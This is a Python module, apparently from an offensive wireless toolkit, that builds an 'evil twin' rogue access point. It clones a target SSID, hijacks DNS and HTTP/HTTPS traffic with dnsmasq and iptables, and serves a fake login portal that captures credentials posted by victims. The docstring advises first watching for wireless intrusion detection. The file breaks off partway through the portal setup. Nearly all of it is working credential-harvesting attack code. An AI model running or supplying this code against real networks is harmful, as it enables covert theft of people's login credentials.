#!/usr/bin/env python3 """Evil Twin AP module — hostapd-based rogue access point with captive portal. Creates a wireless access point matching a target SSID, combined with a captive portal served via a lightweight HTTP server. dnsmasq provides DHCP and DNS for connected clients, redirecting all DNS to the portal. OPSEC: Run wireless_intel module for 2-hour observation before activation to detect WIDS/WIPS and understand target AP parameters. Resources: ~30MB RAM, ~5% CPU """ import http.server import logging import os import signal import socketserver import subprocess import threading import time from pathlib import Path from typing import Optional from modules.base import BaseModule from utils.credential_encryption import emit_credential_found logger = logging.getLogger(__name__) # Default dnsmasq config for captive portal DNSMASQ_CONF_TEMPLATE = """interface={iface} dhcp-range={dhcp_start},{dhcp_end},255.255.255.0,12h dhcp-option=3,{gateway} dhcp-option=6,{gateway} address=/#/{gateway} no-resolv log-queries log-facility=/tmp/bb-dnsmasq.log """ class CaptivePortalHandler(http.server.SimpleHTTPRequestHandler): """HTTP handler for the captive portal. Serves the portal HTML for GET requests and captures POST data (credentials) from login forms. """ portal_html = "" credential_callback = None def do_GET(self): self.send_response(200) self.send_header("Content-Type", "text/html") self.end_headers() self.wfile.write(self.portal_html.encode("utf-8")) def do_POST(self): content_length = int(self.headers.get("Content-Length", 0)) post_data = self.rfile.read(content_length).decode("utf-8", errors="replace") if self.credential_callback: self.credential_callback(self.client_address[0], post_data) # Redirect to a "success" page after capture self.send_response(200) self.send_header("Content-Type", "text/html") self.end_headers() success_html = ( "
Please wait while we verify your credentials.
" "" "" ) self.wfile.write(success_html.encode("utf-8")) def log_message(self, format, *args): """Suppress default HTTP logging to avoid console noise.""" pass class EvilTwin(BaseModule): """Evil Twin AP with captive portal credential harvesting. Creates a rogue AP matching a target SSID using hostapd, serves a captive portal, and captures credentials from connecting clients. Dependencies: - hostapd (system package) - dnsmasq (system package) - Wireless interface capable of AP mode Configuration: wifi_iface: Wireless interface for AP mode (e.g., "wlan0") portal_dir: Path to captive portal HTML templates """ name = "evil_twin" module_type = "active" priority = 200 requires_root = True def __init__(self, bus, state, config, engine=None): super().__init__(bus, state, config, engine) self._hostapd_proc: Optional[subprocess.Popen] = None self._dnsmasq_proc: Optional[subprocess.Popen] = None self._portal_thread: Optional[threading.Thread] = None self._portal_server: Optional[socketserver.TCPServer] = None self._wifi_iface = config.get("wifi_iface", "wlan0") self._ap_active = False self._ssid: Optional[str] = None self._channel = 6 self._portal_template: Optional[str] = None self._clients: list = [] self._clients_lock = threading.Lock() self._captured_creds: list = [] self._creds_lock = threading.Lock() self._portal_port = config.get("portal_port", 80) self._gateway_ip = config.get("ap_gateway", "10.0.0.1") self._dhcp_start = config.get("dhcp_start", "10.0.0.10") self._dhcp_end = config.get("dhcp_end", "10.0.0.250") self._template_dir = config.get( "portal_dir", os.path.join(os.path.dirname(__file__), "..", "..", "templates", "captive_portals"), ) self._hostapd_template_dir = config.get( "hostapd_template_dir", os.path.join(os.path.dirname(__file__), "..", "..", "templates", "hostapd"), ) self._tmp_dir = "/tmp/bb-evil-twin" # ------------------------------------------------------------------ # BaseModule interface # ------------------------------------------------------------------ def start(self) -> None: if self._running: return self._running = True self._pid = os.getpid() self._start_time = time.time() Path(self._tmp_dir).mkdir(parents=True, exist_ok=True) self.state.set_module_status(self.name, "running", pid=self._pid) logger.info("EvilTwin module started (ready for AP creation)") def stop(self) -> None: if not self._running: return if self._ap_active: self.stop_ap() self._running = False self.state.set_module_status(self.name, "stopped") logger.info("EvilTwin module stopped") def status(self) -> dict: return { "running": self._running, "pid": self._pid, "uptime": time.time() - self._start_time if self._start_time else 0, "ap_active": self._ap_active, "ssid": self._ssid, "channel": self._channel, "interface": self._wifi_iface, "client_count": len(self._clients), "captured_creds": len(self._captured_creds), } def configure(self, config: dict) -> None: self.config.update(config) if "wifi_iface" in config: self._wifi_iface = config["wifi_iface"] if "portal_port" in config: self._portal_port = config["portal_port"] # ------------------------------------------------------------------ # Public API # ------------------------------------------------------------------ def create_ap(self, ssid: str, channel: int = 6, portal_template: str = "corporate_login.html") -> bool: """Create evil twin AP with captive portal. Args: ssid: Target SSID to clone. channel: WiFi channel (default 6). portal_template: Filename of HTML portal template. Returns: True if AP was created successfully. """ if not self._running: logger.error("EvilTwin not started") return False if self._ap_active: logger.warning("AP already active — stop it first") return False self._ssid = ssid self._channel = channel self._portal_template = portal_template # Write hostapd config hostapd_conf = self._generate_hostapd_config(ssid, channel) hostapd_conf_path = os.path.join(self._tmp_dir, "hostapd.conf") with open(hostapd_conf_path, "w") as f: f.write(hostapd_conf) # Configure wireless interface if not self._setup_interface(): return False # Start hostapd if not self._start_hostapd(hostapd_conf_path): self._teardown_interface() return False # Write and start dnsmasq dnsmasq_conf = DNSMASQ_CONF_TEMPLATE.format( iface=self._wifi_iface, dhcp_start=self._dhcp_start, dhcp_end=self._dhcp_end, gateway=self._gateway_ip, ) dnsmasq_conf_path = os.path.join(self._tmp_dir, "dnsmasq.conf") with open(dnsmasq_conf_path, "w") as f: f.write(dnsmasq_conf) if not self._start_dnsmasq(dnsmasq_conf_path): self._stop_hostapd() self._teardown_interface() return False # Configure iptables for captive portal redirect self._setup_iptables() # Start captive portal HTTP server self._start_portal(portal_template) self._ap_active = True self.state.set(self.name, "ssid", ssid) self.state.set(self.name, "channel", str(channel)) logger.info("Evil Twin AP active: SSID=%s, ch=%d, portal=%s", ssid, channel, portal_template) return True def stop_ap(self) -> bool: """Stop the evil twin AP and clean up. Returns: True if AP was stopped successfully. """ logger.info("Stopping Evil Twin AP...") # Stop portal server self._stop_portal() # Remove iptables rules self._teardown_iptables() # Stop dnsmasq self._stop_dnsmasq() # Stop hostapd self._stop_hostapd() # Restore interface self._teardown_interface() self._ap_active = False self._ssid = None self.state.set(self.name, "ssid", "") logger.info("Evil Twin AP stopped") return True def get_clients(self) -> list: """Return list of currently connected clients. Returns: List of dicts with client MAC and IP. """ # Parse dnsmasq lease file for connected clients lease_file = "/tmp/bb-dnsmasq.leases" clients = [] if os.path.isfile(lease_file): try: with open(lease_file, "r") as f: for line in f: parts = line.strip().split() if len(parts) >= 4: clients.append({ "mac": parts[1], "ip": parts[2], "hostname": parts[3] if parts[3] != "*" else "", }) except Exception: pass with self._clients_lock: self._clients = clients return clients # ------------------------------------------------------------------ # hostapd management # ------------------------------------------------------------------ def _generate_hostapd_config(self, ssid: str, channel: int) -> str: """Generate hostapd config for open AP.""" return ( f"interface={self._wifi_iface}\n" f"driver=nl80211\n" f"ssid={ssid}\n" f"hw_mode=g\n" f"channel={channel}\n" f"wmm_enabled=0\n" f"macaddr_acl=0\n" f"auth_algs=1\n" f"ignore_broadcast_ssid=0\n" f"wpa=0\n" ) def _start_hostapd(self, conf_path: str) -> bool: try: self._hostapd_proc = subprocess.Popen( ["hostapd", conf_path], stdout=subprocess.PIPE, stderr=subprocess.PIPE, ) time.sleep(2) # Wait for hostapd to initialize if self._hostapd_proc.poll() is not None: stderr = self._hostapd_proc.stderr.read().decode(errors="replace") logger.error("hostapd failed to start: %s", stderr) return False logger.info("hostapd started (pid=%d)", self._hostapd_proc.pid) return True except FileNotFoundError: logger.error("hostapd not found — install with: apt install hostapd") return False except Exception as e: logger.error("Failed to start hostapd: %s", e) return False def _stop_hostapd(self) -> None: if self._hostapd_proc and self._hostapd_proc.poll() is None: self._hostapd_proc.terminate() try: self._hostapd_proc.wait(timeout=5) except subprocess.TimeoutExpired: self._hostapd_proc.kill() self._hostapd_proc = None # ------------------------------------------------------------------ # dnsmasq management # ------------------------------------------------------------------ def _start_dnsmasq(self, conf_path: str) -> bool: try: self._dnsmasq_proc = subprocess.Popen( [ "dnsmasq", "-C", conf_path, "--no-daemon", "--dhcp-leasefile=/tmp/bb-dnsmasq.leases", ], stdout=subprocess.PIPE, stderr=subprocess.PIPE, ) time.sleep(1) if self._dnsmasq_proc.poll() is not None: stderr = self._dnsmasq_proc.stderr.read().decode(errors="replace") logger.error("dnsmasq failed to start: %s", stderr) return False logger.info("dnsmasq started (pid=%d)", self._dnsmasq_proc.pid) return True except FileNotFoundError: logger.error("dnsmasq not found — install with: apt install dnsmasq") return False except Exception as e: logger.error("Failed to start dnsmasq: %s", e) return False def _stop_dnsmasq(self) -> None: if self._dnsmasq_proc and self._dnsmasq_proc.poll() is None: self._dnsmasq_proc.terminate() try: self._dnsmasq_proc.wait(timeout=5) except subprocess.TimeoutExpired: self._dnsmasq_proc.kill() self._dnsmasq_proc = None # ------------------------------------------------------------------ # Interface management # ------------------------------------------------------------------ def _setup_interface(self) -> bool: """Configure wireless interface for AP mode.""" try: # Kill interfering processes subprocess.run( ["airmon-ng", "check", "kill"], capture_output=True, timeout=10, ) # Set interface up with IP subprocess.run( ["ip", "addr", "flush", "dev", self._wifi_iface], capture_output=True, timeout=5, ) subprocess.run( ["ip", "addr", "add", f"{self._gateway_ip}/24", "dev", self._wifi_iface], capture_output=True, timeout=5, ) subprocess.run( ["ip", "link", "set", self._wifi_iface, "up"], capture_output=True, timeout=5, ) return True except Exception: logger.exception("Failed to configure wireless interface") return False def _teardown_interface(self) -> None: """Restore wireless interface to managed mode.""" try: subprocess.run( ["ip", "addr", "flush", "dev", self._wifi_iface], capture_output=True, timeout=5, ) except Exception: pass # ------------------------------------------------------------------ # iptables for captive portal # ------------------------------------------------------------------ def _setup_iptables(self) -> None: """Set up iptables to redirect HTTP traffic to the captive portal.""" rules = [ # Enable NAT ["iptables", "-t", "nat", "-A", "POSTROUTING", "-o", self._wifi_iface, "-j", "MASQUERADE"], # Redirect HTTP to portal ["iptables", "-t", "nat", "-A", "PREROUTING", "-i", self._wifi_iface, "-p", "tcp", "--dport", "80", "-j", "REDIRECT", "--to-port", str(self._portal_port)], # Redirect HTTPS to portal (for captive portal detection) ["iptables", "-t", "nat", "-A", "PREROUTING", "-i", self._wifi_iface, "-p", "tcp", "--dport", "443", "-j", "REDIRECT", "--to-port", str(self._portal_port)], ] for rule in rules: try: subprocess.run(rule, capture_output=True, timeout=5) except Exception: logger.warning("Failed to apply iptables rule: %s", " ".join(rule)) # Enable IP forwarding try: with open("/proc/sys/net/ipv4/ip_forward", "w") as f: f.write("1") except Exception: pass def _teardown_iptables(self) -> None: """Remove captive portal iptables rules.""" rules = [ ["iptables", "-t", "nat", "-D", "POSTROUTING", "-o", self._wifi_iface, "-j", "MASQUERADE"], ["iptables", "-t", "nat", "-D", "PREROUTING", "-i", self._wifi_iface, "-p", "tcp", "--dport", "80", "-j", "REDIRECT", "--to-port", str(self._portal_port)], ["iptables", "-t", "nat", "-D", "PREROUTING", "-i", self._wifi_iface, "-p", "tcp", "--dport", "443", "-j", "REDIRECT", "--to-port", str(self._portal_port)], ] for rule in rules: try: subprocess.run(rule, capture_output=True, timeout=5) except Exception: pass # ------------------------------------------------------------------ # Captive portal HTTP server # ------------------------------------------------------------------ def _start_portal(self, template_name: str) -> None: """Start the captive portal HTTP server.""" portal_path = os.path.join(self._template_dir, template_name) if os.path.isfile(portal_path): with open(portal_path, "r") as f: CaptivePortalHandler.portal_html = f.read() else: logger.warning("Portal template not found: %s — using default", portal_path) CaptivePortalHandler.portal_html = ( "